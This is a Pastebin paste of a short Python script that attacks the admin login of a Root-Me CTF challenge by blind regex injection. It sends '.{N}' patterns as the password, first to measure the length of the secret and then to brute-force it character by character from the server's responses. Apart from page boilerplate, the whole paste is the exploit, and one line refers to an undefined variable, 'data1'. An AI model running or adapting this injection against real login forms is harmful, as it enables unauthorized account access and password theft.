Advertisement
kar4747

ss.py

Nov 23rd, 2017
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. #! /usr/bin/python3
  2. import requests
  3.  
  4. flag_len = 0
  5. headers = {'Host':'dev.root-me.local'}
  6. for j in range(128):
  7. ch = ".{"+str(j)+"}"
  8. data = {'usr_name':'admin' , 'usr_password':str(ch) }
  9. page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data1).text
  10. if "Update" in page:
  11. flag_len = j
  12. print("\rFlag is {} long".format(flag_len), end="")
  13. else:
  14. break
  15. print()
  16. flag = ""
  17. for i in range(flag_len -1, -1, -1):
  18. for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-+ @":
  19. test = flag + j
  20. chaine= str(test)+".{"+str(i)+"}"
  21. data2 = {'usr_name':'admin' , 'usr_password':str(chaine)}
  22. page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data2).text
  23. print("\rPassword is " + test, end="")
  24. if "Update" in page:
  25. flag+=j
  26. break
  27. print()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement